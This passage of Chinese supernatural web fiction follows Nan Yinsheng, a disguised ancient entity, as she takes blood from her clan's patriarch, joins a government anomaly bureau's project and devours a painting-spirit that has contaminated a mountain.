    “系统所在的正确空间是哪一个？”虚无之地吗？


    “■■■■”


    “除了正确的空间链接，还有哪些链接？”


    “正在搜索，合作者请稍等。”


    “......”


    “合作者附近无可用空间链接，现实世界空间链接及位置如下：”


    “■■，三秦中心城（封闭）。”


    “■，？？？无法定位。”


    “万物之声，涿州稞明湖......”


    “■■■，？？？无法定位”


    “■■■■....”


    南音笙耐心听完了脑子里的信息，剔除模糊音节和无法定位的位置外，得到了三个有效信息。


    三秦中心城有一个被封闭的空间链接，或者说空间缝隙。


    名为【万物之神】的空间链接，在涿州的稞明湖。


    除此之外，空间链接与神秘有关，它的名称就是所连接空间里居住神秘的称呼。


    毕竟...有哪个异常或者神秘衍生物能扯上【万物】呢。


    这么想来，虚无之地只有她一个人，最多加上系统，那前往虚无之地的空间链接叫什么呢？


    系统程序回答完消息后就安静下来，南音笙趁热打铁，“现实世界有没有前往虚无之地的空间缝隙？”


    “■■，？？？无法定位”


    ■■，两个字节，是系统？


    不，不对。


    “系统，你叫什么名字。”


    滋啦的电流声闪过，没等南音笙追溯，系统程序道“权限不足”


    随后它彻底沉寂，不再回应呼唤。


    系统...果然不止是系统。


    南音笙记下系统对自己名字的特殊标注，将没有得到解答的疑惑放在一边。


    她和系统是“最好”的合作伙伴，探究合作伙伴的秘密不是体贴之人的所作所为。


    而且现在最重要的是隐藏自己的特殊。


    其他问题都要往后放一放。


    南音笙看了眼手上的【雅南书】，起身前往书房。


    坐以待毙，等待南赴栢回信不是她的风格。


    既然南赴栢不在，那她就去赵其他南家人。


    南家族地就在三秦雍城西的“莫山”，哪怕两千多年过去，他们离开的可能性也不大。


    这样想着，南音笙拿上【族谱】，面无表情坐上牛车。


    只有空间链接与神秘有关，只有空间链接能够引起相应神秘的注意。


    而系统给出的空间链接总共不到十条，之前牛车穿行时划开的空间裂缝显然不在其中。


    南音笙以为“废”掉的牛车又能用了，这显然是个好消息。


    ......


    两千多年前的函夏地形与现在相差甚大，战国时期被南家人命名为“莫山”的族地，在现代却无人知晓。


    而三秦雍城是一座以旅游业为主的古城，周围的山保存完好，除去部分开发后供游客参观的区域外，剩下都是些危险的老林。


    失温、迷雾、磁场混乱、可能存在的异常或者神秘衍生物......


    都会让莽撞进山的人员命丧黄泉。


    所以南音笙毫不担心被无关人员发现。


    夜色中，她架着牛车在雍城的山郊深处穿行，凭着记忆和感知寻找南家族地。


    她的样貌恢复成了最让她舒适的模样，清冷美丽但苍白不似活人。


    因此在抵达南家族地时，南音笙没有避讳封锁和人，架着牛车直接往族地中心行进，如入无人之境。


    雅南身上的能量和气息来源于她，南季，南梦身上的气息来源于她，所以哪怕这具身体不是南家血脉，依旧不会触发封锁和陷阱。


    牛车同理。


    南家虽然传承久远，但是家族成员一向不多，诺大的族地不过居住了不到五十人，其核心成员不足10人。


    而在南家族人心中，族地绝对安全，在祖灵的庇护下，没有人或者神秘衍生物会入侵。


    就算有入侵者，封锁后周围埋藏的各种异常也会发出警示。


    因此在族地内的小辈十分松懈，大多待在自己的院子里研究感兴趣的东西。


    牛车在族长院门外停下。


    院门外正好有一位中年男子路过，心大如他，只是好奇看了眼，连个疑问都没有，提脚往院内走去。


    南音笙掀开帘帐，望着前方突然僵立的背影，轻笑一声。


    【族谱】自动翻页，他


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    的一生无所遁形。


    南竭钦，今岁68，在血脉的滋养下看起来不过四五十的样貌。


    他的一生顺风顺水，按部就班学习长大，因为在同辈中最长，成为了南家第四十三位族长，平时做的最多的就是调解家庭成员间的矛盾。


    年轻时，按照族中规定，他离开族地隐姓埋名，在高速发展的函夏待了三年。


    当时沉睡的神秘还未苏醒，世界间的异常很少，甚至在大众眼中，神秘衍生物只在传说里才有。南竭钦认为函夏对他的研究没有帮助，早早回到族地，偶尔离开，也只会叫上认识的朋友。


    因此他的生活环境很单纯，更没有什么警惕心。


    一生中遇到的最大问题，就是独自南赴栢叛逆离家，宣布要找到“解决”祖灵的办法。


    南音笙翻看着他的平生，意识到南竭钦那些朋友全都来自官方，他们尝试与南家取得关系同时，保护着情商堪忧的南家族长。


    “......”


    “南竭钦，过来。”南音笙呼唤僵在原地的木雕，顺便在心里评价了一句太弱，不合格。


    满头冷汗的南竭钦听见呼唤，识时务地转身低头，心底却在疯狂思考对策。


    新函夏成立后，南家族长不需要规划家族的发展，成为了家族吉祥物，平时除去研究外，他最多解决一些家族琐事，连回收异常和神秘衍生物都不需要负责。


    而面前的存在，让作为神秘血裔，免疫污染和威慑的他都感到压迫的存在......


    只能是入侵的神秘！


    从未直面过危险的南竭钦求生欲爆棚，大脑疯狂转动。


    世间生灵都在神秘手中苟活，哪怕是神秘血裔的南家也不例外。他们没有与神秘抗衡的办法，受到的教育也是精神上平等，行为上谦卑。


    如果神秘要消灭他们，轻而易举。


    但一般而言，没有神秘会对南家出手。


    他们虽然能成为神秘的容器，但血脉让他们成为其他神秘容器的可能性为零。


    而他们在祖灵心中可有可无，不会成为威胁祖灵的筹码。


    面前的神秘应该也不会无聊到只为要他的命。


    所以他是安全的。


    惶恐的心逐渐冷静，南竭钦硬着头皮走到南音笙面前，一边在心里祈祷不要有人发现闯入者，一边稳声回应，“敢问尊者，来南家为何事。”


    南音笙看着强装镇定的南竭钦，将手里的【族谱】递上。


    “南赴栢要了这本【族谱】，但总不取走，我只好自己送了。”


    在模拟中她是南家的创造者，甚至在某种意义上操控着模拟中的一切，因此表现似非人。


    但在现实世界，南音笙还是想尽力扮演一位普通人，在态度上更加和蔼，以此来减少与世间的隔阂。


    不然，她在现实世界行走，与在虚无之地有什么不同？


    南竭钦没意识到南音笙的“平易近人”，迅速拿过【族谱】，抱得死紧。


    缓了两秒才想起开口道谢。


    “先别谢，给我一匣血。”


    头顶传来的声如此邪恶，南竭钦瞬间想到，在祖灵还未苏醒的现在，南家人说不定会成为神秘的血包。


    他的大脑空白一瞬，却听等不及的南音笙又道，


    “尽快，还是两匣血吧。”

 24.【012山水图】项目组

    南竭钦很识时务，或者说识时务过头了。


    南音笙捧着三盒南家专门保存血液的匣子，扫了眼面如纸色，摇摇欲坠但是强撑着送她上牛车的南家族长，莫名心虚一瞬。


    “我和南雅熟识，借点你们的血，不会有下次了。”


    下次直接找南赴栢，那孩子年轻，恢复也快。


    南竭钦失血过多，身体发冷，脑子浑浑噩噩，暂时理解不了南音笙的话。他只是下意识摆出南家族长的架子，含笑点头，目送南音笙如风般消失在原地。


    缓了两秒，南竭钦跌跌撞撞往院内跑去。


    自从函夏建国后就再也没有开启过的家族防护被完全激活，南家小辈从蜗壳般的院子里走出，奔向主院。


    漂泊在外的南家人也收到了来自族长的亲切问候


    “有神秘借与祖灵相识，取血南家，慎之。”


    ......


    南音笙对南竭钦的脑回路一无所知。


    她将【隐秘之石】浸泡进血匣里，纯白的石头很快变色，先是深红，随后乌黑。渐渐地，它变成了如水晶般透亮晶莹。


    使用过的血匣则由深红变透明，南音笙分出几点能量，将这些失效的血一点点磨灭。


    浸血如开光，【隐秘之石】的作用开始显现，环绕在南音笙周身无法消除的压迫感隐匿，改头换面后，她又成为了第一次来到现实世界的普通模样。


    连黄牛都敢抬头看她。


    南音笙摸了摸牛头，当着它的面瞬间碾碎了牛车前的花坛。


    黄牛噗通一声趴到角落，再次充当起背景板。


    南音笙很满意，挨个问候了家里的神秘衍生物，让它们意识到压迫不在，但威胁还在后，施施然出门，直奔监天局。


    山不就我，我去就山。


    作为朋友和“后辈”，十来天没有得到“长辈”的音信，自然要去看一看。


    此时天刚破晓，南音笙穿着衬衣和长裤，擦肩而过的行人总会回头看她。


    函夏战国时期，除去南家子弟和平民奴隶总是恭敬低头外，大部分的贵族都带着自以为隐蔽的异样目光窥探她，因此南音笙早就习惯待在目光中心，没有察觉到现实世界中行人的目光与以前不同。


    直到监天局大厅驻守人员见到她的瞬间，眼里迸发奇妙的色彩，南音笙意识到不对。


    她神色如常，“我找南赴栢，我是他‘妹妹’。”


    “哦哦，好的好的，请稍等。”年轻的工作人员站起身，手足无措地示意她暂坐片刻，哒哒哒地跑进普通人禁止入内区域。


    南音笙端正坐着，发现其他大厅内其他工作人员频频投来注目。但总在她顺着目光回望时，低头打字，假装很忙。


    他们的模样不像发现她有问题，更像他们本身有问题。


    “你是小南顾问！”靠墙的工位上突然传出一声尖叫，大厅寂静一瞬，又陆陆续续传来”小南顾问”的小声惊呼。


    “有什么事吗？”南音笙尽可能柔下嗓音，语速缓慢，避免脱口而出命令的话。


    她在虚无之地和模拟世界待得太久，有些习惯不是一晚上就能改变的。


    “没事没事，我们听说小南顾问解决了异常【342电路板】，但是第一次见到真人，有点惊讶。”


    最初尖叫的工作人员是位年轻女生，用深蓝色宽发圈扎着马尾。也许是南音笙的语气太温柔，她也没有太多羞怯，直白赞美道。


    “小南顾问气质真好，像是古画里走出来的。”


    “谢谢，你也很好看。”


    监天局属于官方部门，半军事化管理，常规从业人员不准纹身，染发，美甲，佩戴饰品。


    但是她别出心裁用宽发圈扎发，看起来可爱又不失活泼。


    “谢谢你，我叫赵鸢，夏历司实习生。小南顾问要不要来我们部门。”


    “夏历司工作最少，但是接触资料和文件很多，感觉很适合小南顾问！”


    赵鸢的话刚开头，旁边两个工位上的人坐不住了，先后站到赵鸢旁边。


    “小南顾问别信，夏历司进去就出不来了，倒是我们八卦司里网罗各种人才，千奇百怪的神秘向都有，你看要不要入职试试，很有意思。”


    “小南顾问，星辰司待遇最好，最适合您这种稀有人才，以后选部门多考虑一下我们吧。”


    三人明明在正常介绍，罗列自己部门的优点，但是越说越像吵架。


    大厅里其他工作人员坐在工位上，眼睛盯着电脑屏幕，但耳朵已经不知道在哪了。


    南音笙静静听了一会，“谢谢你们的邀请，但我不准备加入监天局。”


    赵鸢啊了一声，眼里有些茫然，“小南顾问不试试吗，好歹也是铁饭碗啊。”


    “不用，反而是你们，为什么认为我一定会加入监天局呢？”


    “因为很多和官方合作过的人最后都会加入我们。”赵鸢还有些不可置信，“而且小南顾问还是南顾问的妹妹，帮忙回收了【342电路板】，怎么看都是要加入我们的样子。”


    赵鸢旁边八卦司的工作人员补充，“当年南顾问好像就是帮了一次忙后进的局子。”


    “...你们误会了，我不打算加入监天局。”


    她帮助监天局回收异常只是顺便，最初目的只为了“蹭课”，看看官方的封锁和回收手段。


    但这些话不适合告诉面前三位一眼就能看到想法的年轻人。


    “南顾问调回涿州了。”


    之前离开的工作人员回来了，正好打断三人的欲言又止。


    离开前手足无措的年轻工作人员回来时镇定不少，但她看南音笙的眼睛像在发光，显然从其他地方知道了“小南顾问”的身份。


    “副司长在办公室，请南小姐上去。”


    “言严？”


    南音笙直呼其名让大厅所有人一愣。


    还是传话的年轻人先反应过来，“是的，言副司长。”


    她的态度拘谨起来，“南小姐跟我走吧。”


    ......


    监天局很大，言严的办公室不在大厅所在楼层，走过去花了几分钟。


    言严泡好了茶，准备了果汁，示意南音笙随意。


    带路的人轻声合上门离开了。


    “小笙，好久不见，越来越有气质了。”


    “好久不见。”南音笙不喜欢客套，直奔主题，“南赴栢的电话打不通，发的信息也没有回，你知道他在哪吗？”


    言严斟茶的动作微滞，他发现了南音笙和之前的不同。


    如果说之前的南音笙语气偏柔是天性使然，那现在南音笙轻柔的语气则像是担心惊扰什么，有种自上而下的呵护感。


    言严隐下发现的东西，毫无所觉般继续斟茶。


    “南顾问加入了一个项目，暂时不方便对外联系。对外，我们统一称南顾问


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    回了涿州。”


    “小笙要不要加入监天局，这样你们以后也方便交流。”


    “星辰司的大门永远向你敞开。”


    “感谢你们的邀请，但我还没有加入的打算。”


    言严敏锐道，“你们？大厅的那些新人？”


    南音笙也发现信息，“新人？”


    “大厅里大多是八卦司和夏历司的实习生，偶尔还有部分研究部和星辰司的储备人员。正式上岗前，他们都会去大厅学习。”


    言严简单解释了两句，转回话题。


    “那小笙要不试试直接进项目？作为监天局合作伙伴，我们会提供足够奖金和出任务的装备。至于安全方面，我想你应该不用担心，就算遇到危险，你也会受到优先保护。”


    “什么项目？”


    南音笙突然想起【雅南书】显示的【山水图】，以及【山水图】出现后，消失的三秦监天局主力。


    果不其然，言严毫不隐瞒将项目知，“关山发现了高危神秘衍生物【山水图】，整座关山旅游区都受到污染，并且污染还在向外扩张。”


    “这几天我们一直在寻找神秘衍生物的核心，但是进度堪忧。”


    神秘衍生物？


    她记得【山水图】的前身【陪葬品】最多算高危异常。


    而【雅南书】上也显示的【异诡——山水图】。


    【雅南书】和镇国器显示得不一样？


    “言副，既然没有找到，你们怎么能确定是高危神秘衍生物？不能是高危异常？”


    言严闻言，递给南音笙一杯茶，收回手后才出言解释，“这都是镇国器的功劳。”


    言严在说谎。


    但南音笙没有拆穿，换了一个话题，“上次的高危异常电路板是怎么回事，安康他们说镇国器没有反应。”


    言严沉默一会，似无奈般叹息，“小笙，这些都是机密，如果你愿意加入我们，一切都好说。但是在你加入之前，哪怕是我，也不能什么都告诉你。”


    但之前，你们说的机密也不少。


    无论是封锁的本源材料，还是告知她拥有【锁定】神秘向的工作人员。


    甚至是监天局内部的论坛，言严在她来到现实世界后不久，就给了她阅览权限。


    他们似乎认为她绝对不会危害到监天局，绝对不会对函夏造成伤害，因此从最开始，他们就没有防备过她。


    现在是......认为给出的“报酬”已经超过她受到预估的价值，需要将价值兑现了？


    南音笙想笑，她也这么做了。


    薄唇勾起，清冷的气质反而显露无疑。


    “好啊，我想加入【山水图】的任务。”


    言严被她的笑晃得有点恍惚，回过神甚至感觉大脑有些眩晕。


    他按住太阳穴，在疼痛中突然意识到，自南音笙进门起，她其实一直都没有什么表情，只是她的话和行动迷惑了他的思维。


    加之她以前纯粹天真的形象深入人心，因此他才没有发现她那仿佛在皮囊下换了一个灵魂的惊悚事实。


    言严将杯中的茶一饮而尽，一同咽下的，还有浮于表面的怀疑和警惕。


    无论如何，南家人不会在任何主观意义上危害函夏，这就足够了。


    喝完茶的言严调整好心态和表情。


    “小笙，欢迎加入监天局。”


    “欢迎加入【012山水图】项目组。”

 25.回家去吧

    “【342电路板】原本是中危异常，有人通过操控它监视中心城海湾一号别墅住户，也就是我们牺牲队员的独子。”


    “我们查到了【342电路板】的操控者徐谟，神秘向为【减幅】，能够减少既定标准的影响。十年前徐谟混进装修团队，趁机把【342电路板】镶进别墅二楼和一楼楼梯所在面的墙里，并且改变了别墅内的电路路线。”


    “同时，他利用【减幅】把中危异常抑制为低危异常，在他同伴的帮助下，【342电路板】的污染被限制在电路内，不会传染。


    但是污染经过的区域，会辐射为【342电路板】的监视区，也就变成了徐谟的监视区。”


    “六天前，我们找到了徐谟的尸体。星辰司和八卦司的调查结果是，徐谟在死前将十年间减幅的污染全部返还给【342电路板】，让它从中危污染变为高危污染。”


    “只不过这种变换是临时的，【342电路板】也仅仅是污染达到高危，其本身的危害还处于中危阶段。只是大量返还的污染让它变成了“傻子”。”


    “经检测，【342电路板】在没有危险的情况下以为自己遇到了更高级别异常或神秘衍生物，因此全力展现自己的危险气息，企图震慑保命。”


    “夏历司的赵司长发现了它，将其判定为高危异常。”


    南音笙和言严排排坐在直升机上，脑子里却还回荡着【342电路板】的后续调查结果。


    如果她没有想错，【342电路板】可能不是“傻了”，而是真的感知到了危险。


    而这个危险，就是她本人。


    她之前威胁南赴栢时不耐烦的情绪冒头，难免会加快身体的能量流速。


    而她的身体由存粹能量构成，高流速的能量意味着高压迫感，只不过当时的身体还比较“廉价”，普通人的感受不深。


    但这种压迫对临时升为高危异常，正处于敏感阶段的【342电路板】来说就很明显了。


    阴差阳错...她也算做了件好事。


    言严看南音笙一直不说话，端坐如神龛里的牌位，不知为何心里一突一突的，仿佛和某种披着人皮的神秘衍生物肩并肩。


    他想要打破这种诡异的设想，于是出言介绍，“宿队长的独子，【342电路板】的受害人宿白，三天前正式加入了涿州监天局星辰司。”


    “他的神秘向特殊，被临时调到三秦协助，等会你就能见到他，很有意思的小伙子。”


    南音笙回神，“徐谟为什么要监视他？”


    “徐谟是...徐谟他信仰黑暗，宿白的妈妈宿蔷以前是司仪部的队员，司仪部有梳理国内信仰的责任。而黑暗不是本土信仰，遭到了清算。”


    “信徒的反扑是最凶狠的，宿蔷因此丧命。我们猜测隐藏在函夏的黑暗信徒得知了宿白的身份，因此实施了报复计划。”


    “实施报复为什么只是监视？不应该用更激烈的手段吗。”


    用异常当监视器，还要将异常的污染控制住防止外泄，他们不像在报复他，反而像暗中保护。


    “邪/教徒的脑回路总是异于常人，我们也不能知道他们在想什么。总之现在宿白加入了监天局，对他的保护从暗处转到明面，他身上的危险已经很小了。”


    “剩下的，只能等司仪部的调查结果。”


    直升机的轰鸣越来越小，等两人聊完宿白，正好降落在【关山】山脚。


    【关上】山脚有一片现代化很高的建筑群，其中游客服务中最显眼，其他建筑都是围绕服务中心的各种店铺。


    半个月前，关山旅游区停业，监天局接管。


    现在的游客服务中心改为监天局的一处临时物资储备地。


    而最主要的办公地点在山里，直升机去不了，他们需要在这里拿上些物资，然后步行前往。


    南音笙拿出手机看了看。


    显示不在服务区。


    “整座关山都在封锁内，没有信号，进山的路十天前就塌了。”


    “如果没有直升机，我们完全是与世隔绝。”


    把南音笙拐进【012山水图】项目组让言严很高兴，特别是南音笙已经来了关山，怎么都不会退出，他突然有了开玩笑的心情。


    “小笙，有什么本事就拿出来，我们接得住。”


    ......


    她想吃了【山水图】，监天局不可能接得住。


    上山的三人队伍中，南音笙象征性背了些食物，水和医疗用品，在环绕鼻尖的香气中想起言严的玩笑。


    从直升机里出来后，她就闻到一股水墨特有的清香。


    建筑群上，山里的各种植物身上，土里，溪流...都被笔墨的味道浸透了。


    但是没有人发觉。


    而越往山上走，墨水的味道越来越浓。


    这些香味已经从单纯的水墨变为食物香。


    南音笙发自内心想吃点什么。


    “南小姐？”走在她身后的周祈安突然出声呼唤。


    周祈安是八卦司的队员，神秘向为【平面】，任何不和谐在他眼中清晰可见，因此被调入项目组寻找神秘衍生物核心。


    他之前也在来的直升机上，只是不怎么说话，还喜欢待在角落里，存在感很低。


    “怎么？”南音笙回头看他。


    “不...没什么，不好意思。”


    他和南音笙有过一面之缘，神秘向视觉中，南音笙的一切都很和谐，让人看着舒服，想要靠近。


    但刚刚，南音笙身上出现了一丝波折，像是水面上划过一缕痕纹，打破了原本平滑的面。


    因此周祈安下意识呼唤，想要知道情况。


    结果南音笙转头看他，黑黝黝的眼睛明明和谐如平面，却莫名让他恐惧，像是某种套上伪装的黑洞，诱人踏出一步后落入万丈深渊。


    周祈安紧了紧背带，埋头看路，下一秒想起自己的任务，抬起头四处打量。


    他承认自己害怕了。


    那双幽幽的眼在脑海里挥之不去。


    走在最前面的言严回头看了眼，没发现什么问题，继续带着队伍往前走。


    半小时后，帮不上什么忙的南赴栢离开全是研究部工作人员和不知名仪器的“临时办公地点”，一个人悄悄跑出来透气。


    迎面看见上山的三人小队。


    “音笙！”


    他的【族谱】！


    越过言严，南赴栢拉着南音笙往偏僻处跑，想要私底下聊聊。


    言严站在原地叹了口气，回头又看见木愣愣的周祈安，一种带不动队伍的疲惫感油然而生。


    他见周祈安


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    嘴角微动，似乎说了些什么。


    “你说什么？”


    “言司...我想和你聊聊南...”


    平澜无波，但是幽暗无底的瞳目在他脑中浮现。一瞬间，某种让人战栗的危险攀上他的脊背。


    但话已出口，没有回转的余地。


    “言司，我想和你聊聊。”


    良久，他听见头顶传来回应。


    “这件事不要说出去，回去再聊。”


    ......


    南赴栢带着南音笙到了一处空旷的空地，四周敞亮，远处全是高矮不一的树。


    “音笙，这次结束以后我再去拿书。”


    “还有，这段时间你小心点，有什么东西在到处收集我们的血。”


    来到空地后，食欲陡增的南音笙本来还沉浸在“【山水图】可能就在这附近，趁现在没人找到它，吃了它”的幻想中。


    结果南赴栢的话拉回了她的神智。


    “什么收集你们的血？”


    南家后辈的血有特殊功效，这是她从战国时期就开始隐藏并告知后辈绝对不能透露的情报。


    消息泄露了？


    谁或者哪个势力这么嚣张？还到处收集？


    “家里传来消息，有东西伪装成和祖...和【夜灵】关系好，趁机取血。”


    “？”这种描述怎么这么耳熟，但是又不一样。


    南音笙有种不好的预感，“【夜灵】是？”


    “就是南家的血脉源头。”


    预感应验，南赴栢口中的“东西”就是她。


    南音笙有种被耍了的愤怒和羞恼。


    她当时说过不会再找南竭钦二次取血，还好心把【族谱】送给南家。


    结果现在变成了她到处收集南家人的血，还伪装身份。


    南竭钦。


    这人怎么这么讨打呢。


    本来将【族谱】给南竭钦这件事和她“祖灵相识者”的身份，南音笙都不准备瞒着南赴栢。


    但现在这种情况...她莫名就不想透露。


    南家人还是很有手段的。


    无论是满心孺慕的南昙，聪明敢拼的南则，还是讨打的南竭钦，更或者是面前一无所知，傻愣愣的南赴栢，都能牵动她的情绪。


    她该高兴有这么多南家人在，让她意识到自己为人类，也有喜怒哀乐吗。


    “我知道了。”


    南音笙面上平稳，“有多少孩子知道这个消息？”


    有多少人知道了南竭钦的脑洞。


    南赴栢听到孩子一词，眼里全是茫然。


    “家里小辈只有淼淼，但她才3岁，这件事暂时不能告诉她。”


    南音笙想深吸一口气，但最后都化成一声生硬的“嗯。”


    算了，她也没这么想知道了。


    然而南赴栢不知道她的想法，还在继续，“淼淼之上，我还有一个堂兄，他都35了，不算孩子。”


    “小姑姑今年才28岁，你是想知道她吗？”


    “她比我还早离开家，我不知道她现在的情况，但是家里肯定给她传了消息。”


    “音笙，你还小，最容易成为目标。”


    “你…回家去吧，南家是你永远的后盾。”


    “等你成年后，我们绝不会限制你的去留。”

 26.食物

    随着时间的推移，南家每一代人的平均寿命都在增长。


    家族成员活过一百岁十分常见，甚至有人的寿命高达271。


    在此情况下，神秘沉睡时期的族长，定下了家族成员30岁成年的规矩。


    而所有孩子都只有成年后才能离开家门，去现实世界闯荡。


    这个规矩到了现代依旧延续，只不过不再是硬性要求。


    因此，哪怕在离家出走的叛逆小辈心中，在家族里长到30岁再闯荡，也意味着安全和稳定。


    在南赴栢看来，南音笙还是太小了。


    哪怕她其实并不简单，哪怕她身上偶尔会冒出长辈的威严。


    但是南音笙的年纪摆在这里，作为年长者，他无法忽视她的安危。


    他希望她能够待在安全的地方，在长辈的庇护下快乐生活。


    “你有书，知道家里的情况，他们都是很好的人，而且族地很大该有的都有。你还会有......”


    南赴栢绞尽脑汁为家族说好话，末了，眼巴巴看着她。


    “音笙，你回去吧。”


    我回去，怕不是会吓死南竭钦。


    南音笙黑沉沉的眼直对南赴栢，“你才应该回去，小傻子。”


    南赴栢关切的心很存粹。


    意识到这点，南音笙想要掀开他的脑袋看看里面都是些什么浆糊。


    她威胁过他。


    她有渠道获得对南家有威胁的【族谱】


    她能够让神秘衍生物老实乖巧


    她能轻松解决临时高危异常【342电路板】


    这些南赴栢都知道，但是他现在却像被异常糊住脑子的傻子，邀请这么一个危险人物前往南家族地。


    理由还是在外不安全......


    是南家疯了还是南家癫了？


    族长是个脑回路清奇的奇葩，在外行走的南家代表是情商堪忧的傻白甜。


    还有一个更早离家，不知道是什么模样的“小姑姑”


    有一瞬间，她怀疑南章铃已经被人给卖了，【族谱】上的记载都为假造。


    “闭嘴。”


    南赴栢想说些什么，南音笙及时打断。


    “南家就算有危险，最安全的也只会是我。”


    “如果我遇到无法解决的麻烦，南家也毫无作用。”


    “南赴栢，你离家不是要找到解决【祖灵】的办法吗。坚定你的打算不好吗，不要多管闲事。”


    南赴栢不明白为什么突然扯到他离家的目的。


    还想开口劝说。


    但莫名的冷气倏然袭来，由恐惧具现的寒气带给他刺骨冰凉。


    他下意识看向南音笙，却只找到黑白两色。


    墨发，墨眼，墨色异服


    白肤，白唇，白到透明的某种能量在她周身环绕。


    他感觉自己的意识有些混沌，分不清所见所闻是真实还是幻想。


    意识里，音笙好像眨眼间变得恐怖起来，成为了择人而噬的鬼怪。


    世界也开始变了。


    泛着白光的墨色浸染大地，天空成为了纯白的宣纸。


    世间百色褪去，但南音笙依旧是其中最恐怖的存在。


    土地在和植物在翻涌，它们成为了水墨画里的点滴。


    它们向南音笙奔席而去。


    南赴栢眼睁睁看着这些变化，却无法理解现在的状况。


    【祖灵】对南家人的支配是绝对的。


    而南音笙就是【祖灵】本身。


    压迫下，南赴栢浑噩如人偶。


    南音笙本来只是恼怒南赴栢的莽撞和轻信。


    情绪起伏之下，跃动的能量突破【隐秘之石】的限制流露些许。


    但能量是另一种感知。


    【隐秘之石】暂时失效的那一刻，她感受到了更加香气扑鼻的【山水图】。


    那散发着美味气息，“勾引”她大块朵垛的神秘衍生物似乎以为自己胜券在握，正携着她无法拒绝的核心投怀送抱。


    和她进入关山就感觉到饥饿相同，对能量更少，渴望更进一步的【山水图】来说，她是色香味俱全的十全补品。


    更不用说这份补品孱弱如人类。


    很久以前，【山水图】还大大咧咧把自己挂在最喜欢的墙上，结果遭到披着人皮存在的无情镇压，那时候它懵懂的意识里就产生了后悔的情绪。


    ——如果它再小心点就好了。


    这种后悔促成它谨慎的性格，因此哪怕知道踏进自己地盘的“补品”毫无还手之力，【山水图】还是观察了一段时间。


    然后，它听见了两人的对话。


    他们是南家子！


    雅南，它记了两千多年的单方面“仇诡”。


    抛去祂的身份不谈，她的人身确实留下了血脉相连的后代。


    它还记得管理异诡的人以为它没了威胁，在它面前忌惮又厌恶地提起南季，说他违背祖制，不配为天赐之子。


    当时懵懂的它不懂，后来受到黑暗的眷顾，它的意识转为成熟，瞬间意识到“南季”只是“雅南”选择的容器之一。


    这意味着雅南的后辈里，会随机刷新出一位神秘。


    这个认知让改头换面的【山水图】更加谨慎，多年来躲躲藏藏，生怕再遇到南家人，然后被突然化身神秘的南家子带走封锁。


    但是她好香！


    她大补！


    关键是她还这么弱，身上完全没有神秘的气息。


    猥琐发育了两千多年，再也没遇到过挫折的【山水图】决定莽一次。


    它趁着两人争执的时刻迅速作画，孱弱的南家子毫无防备地成为它的画中人。


    他们陷入画中，只能任它施为。


    它等不及了！


    核心急速靠近，在完全触碰到“补品”前，【山水图】突然感受到一股令诡心悸的气息。


    而气息来自...面前的补品。


    “......”


    流动的墨停滞一瞬。


    它想也没想，眨眼间分出大面积的墨色，往来时的方向狂奔。


    而核心在墨色的掩饰下浸入土中，顷刻间分散到四面八方。


    正当它以为自己逃出生天之际，四散的核心却一齐撞到“墙上”。


    有什么东西圈住了这片空地，有什么东西勾住了它无形的身体。


    【山水图】感受到一股不可对抗的巨力，哪怕它死死沾住土地，还是整个被“抠”了出来。


    如覆水回到器皿，如天雨逆行。


    散得不能再散的神秘衍生物核心，硬是在能量的束缚下，一点不落地回拢。


    本该成为画中人的“补品”伸出手，轻而易举地接住它的命脉


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    。


    一团似水似雾的墨色无定形核心。


    更糟糕的是，“仇诡”身上散发出想要吃了它的气息。


    上首传来的视线如有实质，那是对食物的渴望。


    周身的压力凝成白雾，那是神秘不可抵抗的伟力。


    “好香。”


    蔓延到整座山的墨色一抖，远远看去，像是来到现实世界的动态水墨图。


    【山水图】庆幸自己认识人类的文字，强大的求生欲下，能挣扎着用核心拼出几个字。


    “脏臭，不好吃”


    “愿为驱亻


    然而容器里的【夜灵】轻易揭穿了它的谎言。


    祂甚至连话都没有多说，更没有在意它的效劳，毫不顾忌地吸收着它的能量。


    收集了两千多年的能量如砂砾般流逝殆尽，而它的意识也逐渐飘远，越来越轻。


    飘飘然仿佛回归了黑暗的怀抱......


    在意识弥留之际，一个想法突然跳出。


    ——如果再小心点就好了。


    ......


    南音笙无师自通了吃诡技巧。


    吸收完能量后，她的身体里多出六千多点能量。


    然而不等仔细分析消化，那几千点能量以她的躯体为链接口，倏然消失到不知名的内里。


    且，她没有任何办法制止这些能量的流失。


    片刻后，不可控的流动消失。


    多出来的能量对半砍，还剩下三千出头。


    站在原地冷静了两秒，南音笙一手拿着【山水图】残骸，一手拖着被她震晕的南赴栢，面色不善地去往临时办公地点。


    她周身的能量回聚，【隐秘之石】受到的压制消失。


    浮于表面的压迫消失不在，她又成为了普通的南家后辈。


    而纯黑暗纹的战国袍也蜀倏然消散，变成了最初的白衫黑裤。


    南音笙对这些变化心如止水，还在思考系统的所作所为。


    系统虽然说得积极，但在捕捉【山水图】这件事上完全没有帮忙。


    唯一的作用，也只是在她发现【山水图】的瞬间，来了句，“【山水图】定位——三秦关山官道中段西九百米空地”。


    不过按系统的说法，他们得到的能量一向是对半分。


    加上系统承诺过事成之后告诉她【雅南书】的使用方法。


    勉强压下她对能量的不舍。


    真正让南音笙面色不虞的，是系统的行为方式。


    没有任何解释，没有任何征兆，绝对强势地拿走她躯体里的能量...


    系统到底在做什么？它已经忘记他们是“合作”关系了？


    它不是一向表现得尊重她的意见和行为吗？


    连她光明正大阻碍系统插件也没发表什么意见。


    现在呢？


    为什么？


    “系统，你什么时候回来？”


    系统程序在她脑子里发出一声长嘀音，像是卡壳两秒，随后回应，“请合作者稍等。”


    “稍等是多久。”


    系统程序隐身般不发一言。


    没法得到答案，南音笙压下所有表情和思绪。


    一脚一个墨印子，走在早就变形的土地上。


    远处，言严带领着一群人向她跑来。


    多人凌乱的脚步与她相汇。

 27.画中人

    除去南家人外，所有人都会受到污染。


    解密人也不例外，他们虽然不惧破茧相关的污染，但面对其他污染不过能坚持更久罢了。


    好在研究部和各类高校近年来全力于研究如何解决污染，并且成效显著。


    因此除去特殊情况外，遭受正常污染的队员和普通人都能得到救治。只要能离开封锁区域，他们大都有命可活。


    涿州监天局局长曾提议，某些低危和中危污染出现时，星辰司可以专门带些没有破茧的实习队员进去。


    那些普通队员如果受到污染，不要第一时间救治，而是等待些时间，确定他们不会进入破茧期后再行动。


    然而自然破茧的概率极低，加之研究部医疗项负责人集体反对，这一提议遭到否决。


    医疗项负责人们称，每一种异常的污染都需要另外解析，随后才能得到解决污染的药剂。因此没人能百分百确定所有遭到污染的人都会平安。


    而且解密人对抗污染的能力强于普通人。


    遭受轻度污染的病人存活可能高于重度污染的病人。


    将普通人带进封锁区，无异于将他们推向终焉。


